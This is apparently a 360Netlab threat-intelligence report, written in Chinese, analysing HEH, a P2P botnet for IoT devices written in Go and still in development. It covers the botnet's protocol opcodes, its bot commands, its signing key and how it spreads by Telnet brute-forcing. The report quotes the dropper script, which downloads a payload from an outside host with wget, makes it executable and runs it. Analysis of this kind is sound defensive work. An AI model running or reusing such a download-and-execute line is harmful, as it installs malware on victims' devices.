HEH Botnet, 一个处于开发阶段的 IoT P2P Botnet

概述

近期 360Netlab 未知威胁检测系统捕获到一批未知恶意家族的样本，这一批样本支持的 CPU 架构有 x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，经过我们分析，将其命名为 HEH Botnet。HEH 是一个由 Go 语言编写的 IoT P2P Botnet，它的 P2P 协议不基于公开的任何 P2P 协议，而是自研协议。HEH 现阶段会通过暴力破解 23/2323 两个端口的 Telnet 服务来传播，而不针对特定设备。

基于以下两点，我们认为它还处于开发测试阶段：

 1. 整个僵尸网络的运作机制还不太成熟；
 2. 部分指令还未实现。

根据 go_parser 的解析结果，我们捕获的 HEH 样本由 Go 1.15.1 构建，构建样本用到的源码文件列表如下：

/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go


注意到该样本内部的项目名为 heh，正是因此，我们把它命名为 HEH Botnet。根据源码文件路径的特征，我们还可以确认的一点是，该家族样本是作者在 Windows 平台的 WSL 环境中构建而来。


功能简述

HEH Botnet 的样本包含三个功能模块：传播模块、本地 HTTP 服务模块和 P2P 模块。概要流程图如下：


详细分析


起始阶段

我们捕获的 HEH Botnet 样本最初由一个名为 wpqnbw.txt 的恶意 Shell 脚本下载并执行的，该恶意 Shell 脚本会依次下载并执行所有 CPU 架构的恶意程序，恶意脚本和二进制程序都托管在 pomf.cat 站点。wpqnbw.txt 的开头部分内容(后续内容类似)：

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"

恶意样本启动时传入的参数，第一个参数为一个 IP 地址，默认是本机外网 IP，理论上也可以是某个 Peer 的 IP 地址；第二个参数为 Daemon Flag，如果设置该参数为 3，样本启动后将会以守护进程的方式运行。

样本启动后，会根据端口号 Kill 掉一系列服务进程：

然后，HEH 样本会在本地的 :80 端口启动一个 HTTP Server：

这个 HTTP Server 的初始状态会设置 :80/0 ~ :80/9 共 10 个 URI，对应 8 种语言的 《世界人权宣言》 和 2 个空内容。其中 :80/0 返回的是中文版的《世界人权宣言》：

8 种语言的《世界人权宣言》：

这些初始状态的《世界人权宣言》内容，很快就会被样本从 Peer 的 HTTP 服务端口拉取的数据覆盖掉，也可以通过 P2P 协议中的特定指令来更新这些内容。


P2P 模块

HEH Botnet 的 P2P 模块初始化时，有两个关键步骤：

 1. 初始化 Peer List 对象，该对象是一个 Slice 类型的全局变量，初始长度为 1000。Go 语言定义如下：

package main
import "net"

type Peer struct {
	addr                 net.UDPAddr
	expirationTimer uint8
}

var peerList []Peer


2. 更新 HTTP 响应数据。通过向 argv[1] :80 端口的 HTTP 服务请求 0~9 的 HTTP URI，来更新自己相应的数据。根据样本行为来看，后续这里更新的数据，是可执行的二进制文件。

HEH Botnet 的 P2P 模块，主要由 3 个组件构成：

 1. Ping 组件：间隔 10s 每轮，每轮里隔 0.1s 依次向每个 Peer 的 UDP 服务端口发 Ping 指令；
 2. Peer 更新组件：间隔 10s 每轮，每轮里隔 0.1s 随机向一个 Peer 的 UDP 服务端口发 Peer Upate 指令，对端收到该指令后，会检查自己的 Peer List 是否已包含该 Peer 地址信息，不包含的话则把该 Peer 地址信息加入自己的 Peer List；
 3. UDP 服务监听组件：HEH Botnet 的本地 Peer 服务是一个 UDP 服务，该服务监听其他 Peer 发来的数据或指令，解析指令后进行相应的操作。

这里重点介绍 HEH Botnet 的 UDP 服务监听组件。该组件有两个关键功能点：UDP 服务端口号生成和指令解析。

HEH Botnet 的 UDP 服务端口不是固定不变的，也不是随机生成的，而是根据 Peer 自己的公网 IP 进行数字计算得出。HEH Bot 每次收到一个新 Peer 的 IP 地址，都会根据该算法计算出 Peer 的 UDP 端口，并把这些信息打包存入自己的 Peer List 中。该端口生成算法在函数 main.portGenerator() 中实现，关键部分如下：

HEH Bot 可解析的指令，分为两类：P2P 协议相关的功能指令(Protocol OpCode)和针对 Bot 的控制指令(Bot Cmd)。指令码位于 UDP 数据的第一个字节，分类如下：

OpCode指令长度(Bytes)意义操作21Ping向 Peer 回一个 Pong 指令31Pong-41Announce(声明自己是一个 Peer)将 Peer 信息加入自己 Peer List，向 Peer 再回一个 Announce51PeerUpdate(要求对方更新自己的信息)更新 Peer List1> 0x229控制 Bot 执行指定 Command解析并执行 Bot Cmd

当指令码为 1 的时候，代表该指令为针对 Bot 的控制指令码。此类指令前 0x229 Bytes 内容含义是固定的，其中依次包含校验用到的 Sha256 Value 和 PSS Signature，最后还有 8 Bytes 的额外校验字段；从 0x229 字节往后才是真正的指令数据。以 7 号 Bot Cmd(Cmd.UpdateBotFile) 为例，指令数据结构如下：

HTH Bot 针对收到的 Bot Cmd 数据的校验分 3 步：

 1. 检查指令数据的长度，以及 Extra Flag；
 2. 利用 PSS Signature 校验指令数据；
 3. 检查最后真实数据的 Sha256 Hash。

后两步逻辑如下所示：

其中，校验 PSS Signature 时用到的公钥为：

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----


HEH Bot 支持解析的 Bot Cmd 有如下几个：

Cmd Code功能0Restart: 重启 Bot2Exit: 退出运行3Attack: 发起攻击（未实现）4Execute: 执行 Shell 命令5Print: 未实现6PeerUpdate: 更新 Peer List7UpdateBotFile: 通过指定一个文件下载链接，让 Bot 去下载并更新 Bot 持有的文件内容。该文件会被 Bot 用作 HTTP Response Data8SelfDestruct: 启动设备自毁9Misc: 未实现

目前来看，对整个 Botnet 最有用的功能是执行 Shell 命令、更新 Peer List 和 UpdateBotFile 这 3 个。代码中的 Attack 函数只是预留的空函数，并没有开始实现。由此可见，目前该 Botnet 还是处于扩张阶段，扩张后下一步的功能还没有实现。将来如果作者实现了其中的 Attack 指令，将会使 HEH Botnet 变得更加危险。

Bot 内解析 Bot Cmd 的函数为 main.executeCommand() ，该函数的整体结构如下：

另外，当 Bot Cmd Code 为 8 时，Bot 将会通过下面一系列 Shell 命令实施设备自毁：


传播模块——Telnet 服务暴力破解

在 Bot 把 P2P 模块运行起来之后，会以并行的方式执行针对 23,2323 两个端口的 Telnet 服务暴力破解任务，进而完成自身传播。

首先，Bot 会生成一个随机 IP 地址，然后会检查该 IP 地址是否 127.0.0.1：

如果随即生成的 IP 地址不为 127.0.0.1，则会先对该 IP 进行扫描，如果在 23 或者 2323 端口开放了 Telnet 服务，就会进入暴力破解阶段。相关的函数如下：

暴力破解 Telnet 服务用到的口令字典以全局 Slice 变量的形式存在，其中用户名 171 个，密码 504 个：

如果暴破成功，Bot 会让实现主机来访问自己的 HTTP 服务，并执行通过 HTTP 相应获取的文件（即最新的 Bot 样本），从而完成传播：


总结

从 Bot 样本的分析结果来看，Bot 还有不少未完成的功能，有 3 个重要的指令功能并未实现。从它的网络结构来看，虽然 Bot 内部维护了一个 Peer List，并且 Peer 之间也有 Ping<-->Pong 通信，但 Bot 样本只能接收、解析控制指令，能向 Bot 发送真正的控制指令的，依然只有 Bot Master 一个人，即整个 Botnet 还是集中式控制模式。另外，通过本地 HTTP Server 来承载样本自身传播的机制还不完善。所以我们认为 HEH Botnet 还处于开发、测试的初期。

不过由于它支持的指令功能之丰富，内部代码清晰的模块化架构，以及还有破坏性极高的设备自毁功能，我们认为这是一个值得持续关注的 Botnet。


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